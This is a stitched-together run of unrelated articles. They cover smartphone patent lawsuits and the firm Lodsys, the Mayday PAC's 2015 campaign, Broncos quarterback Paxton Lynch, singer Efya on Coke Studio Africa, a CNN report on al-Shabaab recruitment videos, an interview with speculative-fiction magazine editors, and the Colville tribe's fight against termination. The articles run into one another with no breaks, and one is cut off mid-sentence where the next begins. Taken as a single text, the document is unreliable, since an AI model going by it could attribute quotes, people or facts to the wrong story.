That was the question we explored in a film for Newsnight last night.
These are boom times for intellectual property lawyers, as every major player in the mobile phone industry decides that patents are important weapons in the battle for supremacy in the smartphone market.
From Apple to Samsung, HTC to Motorola, everybody is suing everyone else, claiming they were the first to think of the ideas at the heart of this new industry.
But smaller players are getting caught in the crossfire. David Hart, a small software developer in South London, got a rather frightening document through the post one morning. It was from an American company called Lodsys and it accused him of using patented ideas on a some smartphone apps that translate Asian languages.
But what he really needed was an app that could translate the patent gobbledegook contained in that Lodsys document. An illustration of a telephone talking to a fax machine left him none the wiser, nor the idea that "storing results of a two-way interaction to a central location" was something that his applications had copied from the American firm.
Lodsys is a new type of business - one that doesn't actually make anything or come up with new ideas - but lives by registering patent claims and then taking court action against companies it claims have used its technology.
For those targeted by such firms there is a choice - employ expensive patent lawyers or simply agree to hand over licensing fees.
For a small business, without the resources to fight lengthy legal battles, it is deeply worrying. "It's another risk that we will now have to consider," David Hart told me. "When you do anything of an innovative nature there's a danger it won't work, that's one risk, now this is another."
What's at the heart of this is something that is much easier to obtain in the US than in Europe - software patents. For many on both sides of the Atlantic, they should not be allowed at all.
Vint Cerf, one of the fathers of the internet, seems to agree. When we interviewed him at Google, where he now works, he told us that software patents posed a real threat to innovation. "I see it as hindering innovation in a really dramatic way."
Mr Cerf looks back to the seventies when, with another computer scientist Bob Kahn, he was developing some of the key technologies that led to the birth of the Internet. He says they never patented any of their ideas.
"When we came up with this technology we deliberately did not want to make any intellectual property claims," Cerf says. "We wanted to make this an international standard - we wanted everybody to use it."
The irony is that Google itself has been assiduous in acquiring patents recently, notably through its takeover of Motorola Mobility. Vint Cerf accepts that the company he now works for is embroiled in the patent wars.
"I think it's been forced on us by the realities of the patent market, " he told us." We find ourselves needing to have patents either as negotiating tools or as defensive weapons." But he says he regrets that so much money has to be spent in this area when it should be invested in new ideas.
We found a defender of the patent system in the leading intellectual property lawyer Guy Burkill QC, who has acted for some of the giants of the mobile phone industry.
He pointed to the smartphone in his pocket as evidence."The progress that has been made in that area is self evident and doesn't support the suggestion that the system is stifling innovation."
He explained that there was a kind of small claims court for small businesses caught up in patent disputes, which caps potential damages at £500,000. Not a sum that many small firms will be willing to risk."We need a patents system," Mr Burkill insists. 'Sometimes it can hurt, but to say you're small is no defence if you've infringed a patent."
With every day bringing news of more suits and counter-suits in courts around the world, there is no sign of peace breaking out in the patent wars. No sign either of the pace of innovation slowing in the mobile phone industry.
But if small players like David Hart become just a little more wary about launching new products, and if the giants end up spending more on patents lawyers than engineers, then the future could look very different.They’re back at it.
The super PAC to end all super PACs – Mayday PAC– has started its 2015 grassroots efforts to lobby members of Congress to pass campaign finance reform laws.
You might remember that Mayday PAC was started in 2014 by Harvard Law School professor, author, and activist Lawrence Lessig, in part to get candidates elected to Congress who are willing to change the way campaigns are funded.
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Things didn’t go as planned. Nearly every candidate the group supported in last fall’s elections failed. As the Mayday website says, “… in the campaigns, we didn’t move the ball far enough. So in 2015, we’re doing something different.”
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The group now wants to help voters connect with the members of Congress it has selected as “potential leaders.” It is asking supporters to sign a letter to the 47 congressional members “who Mayday believes could be the key to unlocking a majority,” according to a PAC statement.
“Our invitation to members of Congress is simple: That they answer the call for leadership from their constituents and step up and lead,” Lessig said in the statement.
Akilah Johnson can be reached at ajohnson@globe.com. Follow her on Twitter @akjohnson1922ENGLEWOOD, Colo. -- If Paxton Lynch's injured ankle cooperates he will start the Denver Broncos' season finale Sunday against the Kansas City Chiefs and have the opportunity to add to his resume as the team prepares for quarterback makeover this offseason.
Coach Vance Joseph said Tuesday that if Lynch is healthy enough to have the mobility the Broncos believe he'll need to succeed, he will get a last chance to show what he can do. Lynch hasn't played since he left his Nov. 26 start against the Oakland Raiders during the third quarter. He only returned to practice last Wednesday.
"We want to see him play, that's been the goal the last couple weeks," Joseph said. "... To see where this player is."
"He looked good," wide receiver Jordan Taylor said of Lynch's work in practice last week. "He might have been favoring the ankle. He didn't know how much he wanted to test it out last week, so I expect him to be looking a lot crisper this week and a lot more confident in that ankle."
2018 NFL DRAFT Round 1: Thursday, 8 p.m., ESPN/ESPN App
Rounds 2-3: Friday, 7 p.m., ESPN/ESPN App
Rounds 4-7: Sat., noon, ESPN/ABC/ESPN App
Where: Arlington, Texas
NFL draft coverage » | Full order: 1-256 » • Kiper's final Mock Draft: 1-32 »
• McShay's final Mock Draft: 1-32 »
• Kiper and McShay's draft reset »
• Draft predictions for all 32 teams »
• Draft Herbies: Kirk's best of the best »
• McShay's draft buzz: What I'm hearing »
• McShay's top five needs for every team »
Lynch was initially positioned to start from the Raiders game until the end of the season -- a stretch that would have given the Broncos a six-game look at his potential. But the ankle injury scuttled that plan.
He also lost the training camp competition to Trevor Siemian when he injured his left shoulder in the preseason win over the Green Bay Packers. That injury curtailed Lynch's practice time for much of the first half of the regular season, so there is still some uncertainty about his comfort level in the offense -- especially given that the start against the Raiders was the first game quarterbacks coach Bill Musgrave was calling the plays after Mike McCoy was fired. Musgrave had favored a slightly different approach where he included more two-tight end and more two-back groupings on offense.
But Lynch had struggled in the Raiders' game even before his injury forced him out of the lineup -- going 9-of-14 passing for 41 yards with an interception. In two training camps, last season's two starts, and the game against Oakland, Lynch often struggled to with his composure after making mistakes.
He will get a bit of a reprieve Sunday, as the Chiefs will use plenty of backups. Kansas City clinched the AFC West title but cannot improve their playoff seeding enough to get a postseason bye. With no week off before a playoff game and the prospect of playing a Saturday game during Wild Card weekend a possibility, the Chiefs will likely employ a preseason-like lineup against the Broncos.
The biggest question will be how much Kansas City defensive coordinator Bob Sutton chooses to pressure Lynch -- the Chiefs' 26 sacks this season are tied for 26th in the NFL. If Sutton rushes four and plays it safe in coverage with backups all over the formation, Lynch could have a chance to find some open receivers. The young quarterback has been sacked at least four times in two of his past three starts. Against the Raiders this season, Lynch took all four sacks following a second-quarter interception he threw in the end zone.
With plans to take a hard look at the future of the quarterback spot in the offseason, how Lynch responds to adversity in Sunday's game will be part of the equation. The Broncos will also assess his ability to read the coverage and to get to second and third options in progressions.
Lynch, Siemian and Chad Kelly are all under contract with the Broncos in 2018 while Brock Osweiler, who has said repeatedly he likes playing for the Broncos, is slated to be an unrestricted free agent. The Broncos are also making the rounds to see all of the top quarterbacks in the 2018 draft.
General manager John Elway and director of player personnel Matt Russell were in Boise, Idaho, last week to see Wyoming's Josh Allen in a bowl game. Elway is also scheduled to be at the Rose Bowl on New Year's Day, where Oklahoma's Baker Mayfield will play.
Lynch's work against the Chiefs will fit somewhere in all of that.
Asked if the prospect of the Chiefs using backups would hinder the Broncos' ability to evaluate Lynch from his work in the game, Joseph said: "No, we don't care about the Chiefs, as far as who they play. It's more about our football team."Efya Makes Her Debut On Coke Studio Africa: Season 4
Ghanaian vocal powerhouse, Efya makes her debut on Coke Studio Africa this year!
Eddy Kenzo, Uganda (left) and Efya, Ghana (right)
Straight from releasing her debut album: Janesis, Efya has been paired with Ugandan BET Award Winner Eddy Kenzo – the mastermind behind East Africa’s Most Viewed Music Video Sitya Loss for Coke Studio Africa: Season 4.
Efya is among Ghana’s top music acts to feature on Coke Studio Africa for the first time on the upcoming fourth season.
In an exclusive interview Efya says, “It’s always special to be first in some projects and I will make the best out of this opportunity to represent my country.. I want to take with me a structure to be able to fuse my sounds so that when fans from Africa hear a Ghanaian artist singing, they don’t feel like it’s too foreign – they can easily adapt to my sound,” adding, “I am also excited to be singing in Luganda.”
The two artists will be collaborating with Kenyan producer Madtraxx on Coke Studio Africa. He says, “I am just me – I am real and I love Efya’s energy. Together we will make sure Africa sees the best from our countries, music fans across Africa will discover the best of Ugandan culture – that’s what I plan to show.”
Eddy Kenzo inside the recording studio with Efya.
In addition, Efya is super thrilled to be working with Kenzo. “He’s a great guy to work with. I got to know of him right after I watched ‘Sitya Loss’ video with millions of views”, she says.
The Best In Me singer promises to put some soul in everything Eddy Kenzo brings her way!
We all can’t wait to hear it! This is going to be one of the biggest songs uniting East and West Africa this year! Coming soon.LONDON (CNN) -- The latest video from Somalia's al Qaeda-backed Al-Shabaab wing is as slickly produced as a reality TV show but with a startling message -- complete with a hip-hop jihad vibe.
Experts think Abu Mansoor al-Amriki, dubbed "The American" by al Qaeda, speaks in the Somali video.
"Mortar by mortar, shell by shell, only going to stop when I send them to hell," the unidentified voice raps on the video, which runs at least 18 minutes.
The video also shows a man reported to be Abu Mansoor al-Amriki, dubbed "The American" by al Qaeda. He apparently is now in Somalia training and counseling Somalis from North America and Europe. He speaks in American English.
"Away from your family, away from our friends, away from ice, candy bars, all those things is because we're waiting to meet the enemy," says the man believed to be al-Amriki. Watch part of the video »
Intelligence experts say the video was probably made in recent weeks and comes on the heels of an audio message in March purportedly from Osama bin Laden. In that recording, the al Qaeda leader calls on his "Muslim brothers in Mujahid Somalia" to overthrow President Sheikh Sharif Sheikh Ahmed for cooperating with the West.
Al-Shabaab is the militant Islamic wing in Somalia. It means "Youth" in Arabic.
"We're seeing perhaps their most sophisticated attempt so far to really reach an audience of potential recruits in America, and that's one of the things that made that video very significant," said Ben Venzke of the IntelCenter, a Washington-based research group that tracks al Qaeda's development and messages.
"They're casting it in a way that's going to speak to the youth of today," Venzke said. "Most of the time, what we're seeing in their videos directly parallels what the groups are doing operationally, what they are targeting, where they're recruiting."
Sheik Ahmed Matan knows that firsthand. A respected member of Britain's Somali community, Matan said he knows of hundreds of young Somali men who have returned to Somalia for terrorist training.
"A lot of young people from here, from America, from Canada, from everywhere from Europe -- they went there," he said.
He added that these men are capable of being sent back home to conduct terrorist operations, even suicide bombings.
"It can be, they can train anytime and send them here, anytime," Matan said.
Somalis from North America and Europe are beginning to come to terms with the problem of recruitment, he said. The United States and British governments say Somalia is an emerging terror hot spot, which could pose a threat beyond its borders.
Matan said he often challenges "recruiters" at mosques and elsewhere in Britain, demanding that they stop brainwashing younger Somalis about Islam. He said the government should play a greater role in monitoring what is said and done at these mosques -- but, he concedes, doing so has proved highly controversial in Britain and throughout Europe.
There is some evidence that al Qaeda is successfully preying on some of those with Western backgrounds. One of them was a business student from London who suddenly left for Somalia. He surfaced about 18 months ago on a martyrdom video, just before blowing himself up in southern Somalia, killing at least 20 people, officials say.
U.S. Defense officials, who spoke on condition of anonymity, also said months ago that one of their worst nightmares would be al Qaeda operating freely in Somalia. Now that nightmare continues, with Somalis in North America and Europe admitting that al Qaeda's reach is spreading.
Venzke said Al-Shabaab has put out more videos than ever before in the past year.
"If that's what they're doing publicly, we can only assume how their operations have developed," he said.
All About Somalia • Osama bin Laden • Al QaedaFirst and foremost, magazine fiction editors are readers who love stories so much that they've made a career out of reading them. They have a not-so-simple job: select, prepare, and present the best stories they can to a specific audience.
Below, ten of the top speculative fiction magazine editors talk about what they do and how they do it. Each of the editors works for a different speculative fiction magazine—print or online (or both), new or long-running (or revived after a hiatus). They seek fantasy, science fiction, or horror stories… or some innovative combination thereof.
Ultimately, fiction editors are the people who mine the slush pile for new voices and who push established writers to grow beyond their previous stories. They read story after story, and more pile up each day. They screen, sort, revise, and reject. They seek the new, the fresh, the familiar, the entertaining, and the weird. They discover and they miss out.
"There is no magic formula," said Gordon Van Gelder of The Magazine of Fantasy and Science Fiction. And this holds true for writing stories, submitting stories, and editing stories.
For, as Patrick Nielsen Hayden of Tor.com said, "It's not about writers and editors; it's about stories and readers."
The Editors, Their Magazines & Their Editorial Philosophies
Patrick Nielsen Hayden edits books for Tor Books and short fiction for Tor.com. "I'm not sure I have an organizing ‘philosophy,' or that I would trust one even if one occurred to me," said Nielsen Hayden. "I do have a belief, which is that I'm working for the reader. I work with authors, and publishers pay me, but my real boss is the person who's just looking for something interesting to read." For more information about him visit his webpage.
Shawna McCarthy is an editor, anthologist, and literary agent. "I believe that genre fiction should be held to a standard every bit as high as mainstream fiction," said McCarthy, who has been the editor at Realms of Fantasy since the first issue in 1994.
John O'Neill is the publisher and editor of Black Gate magazine. "I think a magazine becomes successful by finding new, emerging authors and providing them with a stage, helping them launch their careers in your pages, and enjoying the fruits of their success along the way," said O'Neill.
Cat Rambo is a fiction writer and the co-editor of Fantasy Magazine. "My editorial philosophy is to try to create a magazine that the readers can enjoy and identify with," she said. Learn more about Rambo at her webpage.
Mike Resnick co-edits Jim Baen's Universe. He is also a prolific fiction and non-fiction writer. As an editor, he said, "I try to remember that not all readers share my taste, and to select the best stories, regardless of subject matter or approach." Learn more about Resnick at his webpage.
Stanley Schmidt is a fiction and non-fiction writer, as well as an editor at Analog Science Fiction and Fact. "My editorial goal," Schmidt said, "is to produce that science fiction magazine I would most like to read if I had to pay for my subscription and could only afford one." Learn more about him here.
Jason Sizemore is a fiction writer and the founding editor of Apex Magazine. "I'm a hands-on editor who is a stickler for getting the story just so," said Sizemore. Learn more about Sizemore at his webpage.
Gordon Van Gelder is editor and publisher of The Magazine of Fantasy and Science Fiction. "I subscribe to Maxwell Perkins's theory that an editor's hand should be invisible," said Van Gelder. "I publish works that I think readers will find entertaining, and I do my best to publish them responsibly.
Sheila Williams is the editor at Asimov's Science Fiction. "I'm excited by a lot of young and up-and-coming authors," said Williams. "I'm always thrilled when I find the second story that I love by a new author because that shows me that the author may be a new force to be reckoned with."
Ann VanderMeer is an anthologist and fiction editor at Weird Tales. "I see myself somewhat as a cheerleader for great fiction. My philosophy is to bring the widest possible audience to fiction that I love. The story is all — a big name or previous credits are not important to me, only the story."
The Questions & Answers
What do you look for in a short story?
VanderMeer: I look for originality, uniqueness and the weird. I especially love work that makes me look at fiction in a new light. I love to be surprised (not grossed out, please) and completely drawn into a story. If I start to read a story and do not want to stop, that's a very good sign. When I do stop reading, if that story stays with me for the next few days, that's another good sign.
McCarthy: I've been doing this for so long now that what I really look for is something I haven't seen before, which is very difficult to do, but it does happen!
O'Neill: First and foremost, I'm looking for a rousing work of fantasy — an opening that grabs attention, a middle that heightens expectations, and finally a satisfying climax that delivers.
Beyond that, I'm looking for the same things that every other editor is: freshness of voice, originality in setting and character, and a certain skill in creating and building narrative tension.
Resnick: The first thing a story has to do is appeal to me on an emotional level: it has to make me love or hate or fear or laugh—in other words, to make me feel. If it also makes me think, so much the better... but if it doesn't make me feel, then the author has simply written a thinly-disguised polemic or a fictionalized high-tech crossword puzzle.
Rambo: I look for the stories that come back the next day and make me think about them some more.
Schmidt: Ideally, I would like a story so engagingly written that I forget I'm reading it, with a provocative idea I'd never thought of before so deeply integrated into it that it couldn't be removed without making the whole story collapse.
Sizemore: Being a web-based magazine, the opening sentence [or] paragraph becomes the most important aspect of your story. Readers on the web are fickle and know that with one simple click they can move on to other things. Compare that to where you shell out a fiver for a magazine of stories, you're more likely to stick with it since you've got something on the line, so to speak.
Van Gelder: Ideally, I look for a story that grabs me with the first line, draws me in, comes alive, and makes me forget everything around me until it all wraps up with a satisfying conclusion.
I also look for my baseball team's pitchers to throw a perfect game every time out, but since these things don't happen every day, here are some of the other things I look for in a short story:
Story (too many submissions I receive nowadays are fragments or plotless mood pieces.) A strong narrative voice and good prose Compelling characters An interesting setting A solid storyline that leads to a conclusion that the story earns (as opposed to one that is tacked on) Freshness
[Freshness] is often the hardest, as I see lots of stories that are skillfully rendered but in the end, they leave me feeling like I've read them before (or like they're too similar to something I've read).
Williams: I enjoy experimental stories and adventure stories that entertain me. Even a story that breaks a reader's heart should be entertaining. I love big ideas, but I also need well-drawn characters. I love screwball comedies and stories that fill me with dread—though I rarely enjoy straight out horror fiction.
Nielsen Hayden: The glib (and yet true) answer is that I'm looking for the thing I didn't know I was looking for. The first SF story I ever bought out of a slushpile was Maureen McHugh's novel China Mountain Zhang. But if you'd asked me that morning what I was looking for, I probably wouldn't have said "a picaresque, somewhat unstructured novel of a gay American-born Chinese man in a China-dominated future, filled out with substantial interludes in which the main character is neither present nor particularly relevant."
I do have a couple of observable biases. I'm very interested in stories that tell me something I didn't know about how the world works. And I'm actively interested in SF — specifically SF — that speaks to the kind of emotional and psychological issues that are of interest to smart readers in their teens. This is not the same thing as "YA SF," although it includes a lot of YA SF.
What does "fit" mean for your magazine?
Resnick: Not a thing. Eric Flint and I co-edit Jim Baen's Universe, and we both have to agree on a story before we'll buy it. In close to three years we've disagreed once, and let the managing editor decide. There is no kind of fiction that can't fit our magazine if it's well done.
VanderMeer: "Fit?" It's gotta be weird, not the usual story you could see somewhere else. The kind of story when you see it you say, "That's a Weird Tales Story."
McCarthy: That's just rejection slip speak. When a rejection slip says your story wasn't a good fit for the magazine, it just means that for whatever reason, we didn't like it. I think it means the same thing for any magazine—a story that's a good fit is one we like and would be happy to publish.
O'Neill: A story that fits is one that has a beginning, middle, and an ending. At Black Gate, we're not trying to be more "cutting edge" than everyone else, or looking to explore new frontiers of splatter-horror. We like adventure fantasy, especially classic adventure serials, and that's what our readers are clamoring for.
I once got an angry letter from a reader asking why I didn't publish more medieval fantasy, with castles, princesses and dragons and the like. I thought it was a bit ridiculous at first. Isn't everyone as tired of that as I am? How many dragon—slaying stories do we need? But now I think I understand what she meant. Like most editors I respond best to genuine innovation in fiction — the original, truly well-crafted setting, the character with a fresh voice — but there's a very real hunger for the familiar among readers, especially the trappings of the fantasy of our youth. I think we ignore that at our peril.
Rambo: "Fit" is such a nebulous word, and yet we all seem to use it, it seems. For me, a story that fits is one that has a fantasy element that matters to the story, and is more than a prop. While I like poetic and/or complicated language, too much of it can drag a story down and I want a story where the reader can float through the words, emerging changed from that immersion. I want the stories that stick with a reader, that they can worry over in their head like one of those simple puzzles that manages to be infinitely complex, infinitely challenging.
I like stories that tease at the edges of human experience, that talk about love and sorrow and what it means to be a changing being in an endlessly shifting world. I look for stories that aren't mainstream, which don't reflect the consumer-culture cookie cutter images that have been created by corporate-owned media. If I'm succeeding in that a small portion of the time, I'm feeling that I'm doing well.
Schmidt: I'm a matchmaker: I try to get writers who like to tell certain kinds of stories (a much broader range of them than people often assume, by the way) together with readers who like to read those kinds of stories. I'm not looking for stories that are more about rivets than people; I'm looking for stories in which both science and fiction are essential, entertaining, and as well thought out as the writer can make them. And the science doesn't have to be limited to careful extrapolation of what we already think we know. There's certainly a place for that, but it's no less important to explore how we humans might respond to the big surprises the future is sure to throw at us.
There's a more practical side to "fit," too, of course. Every issue needs a mix of lengths, subject matter, tone, and so on. So if next month I'm up to my ears in humorous novellas, I won't be buying many more of those for a while. And the physical make-up of the magazine imposes requirements, too. Novellas between 20,000 and 40,000 words have always been hard for us to accommodate, and it's even harder with our latest format change—so if you try to sell me a story that size, I'm going to have to really like it, and I still may not be able to find a place for it. So if you can tell it in less than 20,000 words, you probably should.
Sizemore: When we pass on a story and say it is not a good fit, that means that it falls into one of two categories of rejection: not really the type of story Apex publishes or the story is too similar to something else we're publishing soon or publishing recently in the past.
A good "fit" for Apex are stories that show the reader the dangers of technology to the human condition. It also includes darker themes such as oppressive alien races, dangerous astronomical situations, and other familiar science fiction tropes.
Van Gelder: What's a good fit for F&SF? I like to think I know it when I see it.
In the header notes of our Oct/Nov 2008 issue, there are some comments about how we can publish a Twilight Zone-ish story next to a Playboy-esque story and also have a story in the same issue that would have been at home in any SF magazine of the 1950s. But all of them felt right for F&SF.
Williams: At Asimov's, I strive for balance, keeping in mind that the readers and I both prefer science fiction. I do publish some fantasy, although usually not more than one or two (in a double issue) a month. Often one weird and hard to classify story will appear in an issue as well. I don't adhere strictly to my own rules, though. If I love a fantasy story, I'll probably buy it.
Nielsen Hayden: As used in rejection notes, it's basically a weasel word. We use it as a way of closing the door politely and firmly on a submission, and not getting snookered into a back-and-forth about what it would take to make something we don't like into something we'd buy.
What are some reasons why you'd reject a good story?
VanderMeer: If the story doesn't fit (see above - there are all kinds of great stories that are traditional, non-weird stories). If the story is too long (sometimes I have space limitations). If the story is too similar to another one I've got or just doesn't work with other stories I am publishing.
McCarthy: A good story, to me, is one that has an interesting setting, and unusual or unfamiliar mythos, an interesting protagonist, and has something to say beyond the surface action of the plot. I see tons of good stories a year but can only publish around 40 of them. So that's one reason. Another is a good story that has all the right elements but just doesn't come to life for me.
O'Neill: I've rejected some fabulous stories. We published a great piece by Ellen Klages in BG 3, but I turned down the chance to publish the short story that eventually grew into The Green Glass Sea — her fantastic novel that just won the Scott O'Dell Award, and has been nominated for many more. It was a terrific piece, but it wasn't really fantasy.
I've also had to pass on very solid stories that were too adult for our target market (we've advertised Black Gate as family-friendly, which means it needs to be suitable for ages 12 and up).
I've also returned very solid stories simply because I thought they could be better — and should be better.
Rambo: Too long, not fantasy, too unimaginative. A good story is one worth returning to more than once, either mentally or on the page.
Schmidt: I've just given one: It's a size that I can't use. Other reasons may be that it's a good story, but it's fantasy or mainstream rather than science fiction; or that it's too similar in theme or flavor to something I already have in the works. That last, by the way, does not necessarily mean you can't go ahead and sell it elsewhere. It may be too similar for me to want both in my magazine anywhere close to the same time, but different enough that the world will welcome it somewhere else.
Resnick: The only reason I'd reject a good story would be that I was running something too similar to it — and then I'd probably buy it and hold it for a few issues. A good story is any well-written, well-characterized story that elicits an emotional reaction; everything else is gravy.
Sizemore: Just about every time, I will read a "good" story to completion, even if I know within the first page or two I won't be buying it.
Why won't I be buying it? This generally falls into the "not a good fit" category. Jennifer Pelland sent me one of the best short stories I've ever read (titled "Ghosts of New York") but it wasn't an "Apex story." It's heartbreaking passing on work such as that, but you have to stay true to your readers.
Van Gelder: Here are three common reasons:
Story is executed well, but the science fictional or fantastic element is too familiar or uninteresting. Story is of a sort or in a genre that I already have too much of in inventory. Story isn't actually SF or fantasy.
Williams: I may have a story in inventory or recently published that is in some way similar to the story on hand. Not right for Asimov's—the fantasy is too high or the horror is too integral a part of the story to work for Asimov's. Story just isn't right for me, though it could very well be perfect for the next editor.
Nielsen Hayden: Unlike some of the magazine editors here, I'm not currently buying short fiction for a magazine with an established tone or approach. The original stories that appear on Tor.com—a new one roughly every two or three weeks—have been all over the map; we're still feeling our way into this kind of publishing. I'm sure I've turned down good stories; every editor does. Nobody's sensibility encompasses everything that's good. And I've certainly turned down novels that I thought were very good indeed, because I thought my house wouldn't be very good at publishing them.
The point is that editors aren't in the business of adjudicating what's good; we're in the business of acquiring and publishing material through particular channels and organizations, |
required in order as part of legislation that included title to tribal lands. Most tribal members probably didn’t think much about termination – at least at first – but in the decade that followed pro-termination supporters gained support of the tribal business council, telling tribal members that termination would mean a sale of all the reservation’s assets and a distribution of those assets to tribal members. In other words: folks were promised they would be rich.Beginning in the early 1960s, U.S. Senator Henry Jackson, a Democrat from Washington, introduced Colville termination bills only to be blocked by the House of Representatives. And, at the same time, a pro-termination tribal business council built up a solid majority.In October 1966, the tribe asked its members this question:“Do you favor termination and liquidation of the tribal owned reservation assets at a fair value with the proceeds distributed equally to the members of the tribes?”The result was one-sided: More than two-thirds of the membership approved of termination.The Colville people, then, had gone on record for termination.Chairman Narcisse Nicolson, Jr. said it was time for the Colville people to end their relationship with Washington, to stop taking money from the Bureau of Indian Affairs (BIA), and to terminate the reservation.He said the case was clear because “with only a relatively few exceptions, the tribal families of today are self-supporting.” He added, “Lack of employment, to the degree that it exists, is largely due to character faults which cannot be cured by paternalism.”In Washington, D.C., BIA Commissioner Robert L. Bennett, even though he was personally opposed to termination, said he would “honor and carry out any decisions that are made by the people of the tribe, whether or not this may be in agreement or disagreement with what may happen to be particular policy of the Bureau.”The stars seemed aligned. Think of the players on board: Tribal members, its governing body, and the Bureau of Indian Affairs. Even the Congress was set. Senator Henry Jackson could be counted on to introduce the Colville termination bill again; this time, some thought, it followed by House enactment.We can only imagine what it must have been like: Every major political force, the state, a powerful senator, the tribal council, and, perhaps, even a majority of tribal members, all wanted termination.Only someone forgot to explain to Lucy Covington and her allies that it was a done deal.In 1966 when that membership poll was taken, Covington was a minority member of the tribal council along with Frank George, Paschal Sherman, and a few others.There were many voices challenging the wisdom of termination.One of the tools that she used in this fight: A tribal newspaper. She started “Our Heritage,” a newspaper with the mission of informing tribal members about the issues. She would lead a quiet campaign to quiet what she called “the present fever and fervor for termination.”And like Standing Rock, there was a national call put out for writers, cartoonists, and journalists to come (at their own expense) to chronicle this important moment.Chuck Trimble once wrote why he went. Covington “enlisted me after I gave a brief talk on the birthing plans of the American Indian Press Association at the 1970 NCAI convention in Anchorage, Alaska. She asked if I would come to Colville and help put together a newspaper. She made no offers of compensation for travel and expenses. The Press Association was not yet established and there were no funds for travel or anything else; so I went at my own expense. And when I arrived in Spokane where she met me, she sat me down in a room at the Indian Center there and told me what she expected of me. She wanted a newspaper that would tell what a tribe means to its people, and its true worth to them in terms of land, natural resources, and most of all their cultural heritage. She wanted the newspaper to be called Our Heritage, and she even described the logo she wanted for the masthead. It would be a pair of hands holding together the shape of the Colville Reservation. The logo would signify that the future of their reservation, indeed their nation, was in the hands of the people, not in the U.S. Government or the State of Washington, or anyone else.“I was not familiar with what termination of a tribe entailed, and how it was carried out. I thought the U.S. Congress unilaterally determined that a tribe’s unique trust relationship with the Federal government would be severed, and the Bureau of Indian Affairs would execute the congressional order. When I learned that the tribe, through its elected leaders, had to approve the dissolution of their own nation, and that a majority on the existing Colville Council was forcefully behind the measure, I felt disheartened. Gaining an anti-termination majority on the Council meant internecine warfare, and Indian against Indian was always mean and messy.”But Trimble wrote — and he drew cartoons. And Our Heritage was published.Our Heritage profiled candidates opposed to termination and reported on the legislative battles in Washington about the advancing termination bills.The anti-termination side won on May 8, 1971. Nicholson was defeated in his district, Omak. He was replaced by a council member who was opposed to termination, joined by a new majority of like-minded representatives.Mel Tonasket, then-thirty years old, was elected by the business council as the chairman. The new business council called for more federal support, closed a reservation lake to outsiders and voted to take back law enforcement powers that had been ceded to the state of Washington.The new council also went further, claiming the inherent power of a government through an affirmation of tribal sovereignty.And even a longtime supporter of termination reversed course. Sen. Jackson, a Democrat from Washington, in 1972 introduced a repeal of the termination resolution and recast himself as a champion of tribal governments and Indian people.The dark clouds of termination almost ended the Colville reservation and that tribe’s unique relationship with the federal government (something that did occur in dozens of other tribal communities).But the danger of termination was identified by both the tribe’s political leadership and the press. This fit Boudinot’s model: A description of the dangers, followed by community discourse, until a satisfactory conclusion was reached.I recall a tribal politician speaking at the National Congress of American Indians. I am not sure who he was nor where the meeting was but I remember him identifying the tribal news media as “war correspondents.” This image stuck with me because it is so telling: Tribal political leaders identified us as soldiers in the defense of Indian country. Our work is important when we serve that war effort, helping to defeat the enemy. But that metaphor suggests that when journalism moves closer to home, when we do stories that aid the enemy, then not so much.“Our Heritage” fit this notion perfectly. The newspaper had one purpose: stopping termination. And, at the beginning of the termination era there was no national Native press. But at the end, when tribes won, the press was actively helping tribal citizens reach a satisfactory conclusion.Perhaps one of the reasons why I remember that NCAI speech about “war correspondents” was because of when it was given in the late 1970s. This was a time when most tribal governments truly felt under siege, it was the “backlash” era.And it was a story that most of us working for tribal newspapers tried to fully cover.“So strong is this threat and so pervasive is its national presence that Indians are referring to it as ‘the new Indian war.’ Its sources, most observers of the national Indian scene agree, are the results of that very progress; in particular, the long and significant train of court victories in the 1970s upholding tribal rights,” wrote Hopi journalist Rose Robinson from Washington, D.C. “Whatever its sources, white backlash is, by every measure, the major concern of people today.”The backlash was promoted by organizations with names that suggested a noble calling: South Dakotans for Civil Liberties; Montanans Opposed to Discrimination and the Interstate Congress for Equal Rights and Responsibilities. These groups defined American Indians as “special citizens” who, because of treaty rights, were getting a better deal than the rest of the nation. A book, “Indian Treaties: America’s Nightmare,” was sent by the group to members of Congress, the secretary of Interior and other Washington officials. “The liberal treatment of minorities has reached unheard of proportions in denying equal rights to all citizens of our so-called democracy,” a brochure for the book said.“Sportsmens (sic) – organizations – fishermen – hunters – land owners – commercial fishermen and just plain tax paying citizens who have just about had it with Indian take-overs make up the membership of ICERR.”The backlash was a nationwide movement that discounted two centuries of federal-Indian policy. “That the Indians’ claims are being given any legitimacy at all is nonsensical,” wrote a columnist in the Boston Herald American about the land claims in Maine. “Whatever happened 200 years ago, the culprits were not the current land owners, so there is no justification for punishing them.”“After so many quiet years, what has got into the Indians?” asked a two-page essay in Time. “Probably no other country would take quite so seriously land claims that propose, in effect, the impossible rolling back of history. The inherent absurdity of such a proposition might be clearer, say, in a suggestion that Australia be handed back to the aborigines. …Congress should be able to be fair without suffering the delusion that the country can really be given back to the Indians. The time for that passed forever with the vanishing of the pioneers who took it from them.”The movement had one goal: abrogate treaties. These efforts were on two legislative tracks: The first was led by a U.S. Rep. Jack Cunningham, R-Washington, who introduced bills directly calling for treaty abrogation; and, the second track was more moderate legislation that was introduced by a U.S. Rep. Lloyd Meeds. Meeds, a Democrat, was also from Washington state and his role was interesting because he had once been a supporter of tribes – even honored by the National Congress of American Indians for his work on the Hill.The Interstate Congress dismissed Indians as “treaty Americans” or “first-class citizens” and it said it had no objection to “being treaty Americans or full-fledged American citizens, but we do object to them claiming both. “Until they decide what they want to be, treaty Americans or first-class citizens, but not both, they will feel the bite of the backlash, and it will get stronger until a more equitable solution is found.”The Indian Country Today of that era was Wassaja, a San Francisco-based, national newspaper. Wassaja covered the annual convention of the anti-treaty group because it represented, “the first step toward abrogation.”Wassaja – and most tribal newspapers – devoted lots of space and attention to the backlash movement. Tribal leaders saw the threat and worked to build coalitions to defeat the ideas behind the backlash, as well as their representatives in Congress.Again, though, the dark clouds were identified and community discourse was disseminated through the native press. Indeed, the leaders of that era agreed with the label of “new Indian wars,” and even promised a literal battle if things proceeded.Navajo Chairman Peter MacDonald Sr., for example, called for an emergency summit of all tribal leaders to develop a strategy. He said that if the backlash reached its logical conclusion, taking Indian people backwards, then Indians might return to waging war. “I don’t think anyone wants to go back to that situation.”MacDonald’s rhetoric was harsh, but his position was not unique. He was joined on the effort in groups ranging from the conservative National Tribal Chairman’s Association to the American Indian Movement.Discourse prevailed. Tribal leaders developed a successful strategy and their voices reached tribal and U.S. citizens. The national Native press was taking notes.The termination era as well as the backlash era shared a language. Termination supporters wanted to “free the Indians.” The Interstate Congress proclaimed the goal of “equal rights.”Of course in a large part what drove 